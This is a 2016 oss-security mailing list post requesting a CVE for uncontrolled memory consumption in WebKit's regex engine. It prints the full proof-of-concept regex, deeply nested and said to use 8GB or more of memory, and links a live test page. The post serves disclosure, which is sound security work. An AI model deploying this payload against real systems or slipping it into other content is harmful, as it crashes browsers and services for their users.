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Date: Sat, 26 Nov 2016 15:11:44 -0300
From: Gustavo Grieco <gustavo.grieco@...il.com>
To: oss-security@...ts.openwall.com, cve-assign@...re.org
Subject: CVE Request: resource exhaustion in regex expression handling in WebKit
Hello,
Trying to parse and execute this regex code in WebKit:
/($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($(${-2,16}+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)+)/
will consume large amounts of memory (8GB or more), after a few seconds.
This seems to be a case of CWE-400 (uncontrolled resource consumption).
At least, version 2.4.11 Webkit and very recent webkit revisions like
https://github.com/WebKit/webkit/commit/fcf81f3ad83cd910727c7a1824e503
77a474c8f4 are affected.
You can quickly test this issue in different webkit browsers here:
https://dcc.fceia.unr.edu.ar/~ggrieco/oom.html
Fortunately, Chrome and Firefox based browsers are *not* affected.
Please assign a CVE if suitable. It is worth to mention, that a month ago,
i asked to MITRE about another issue related with uncontrolled resource
consumption in Firefox loading a SVG but receive no response.
Regards,
Gustavo.
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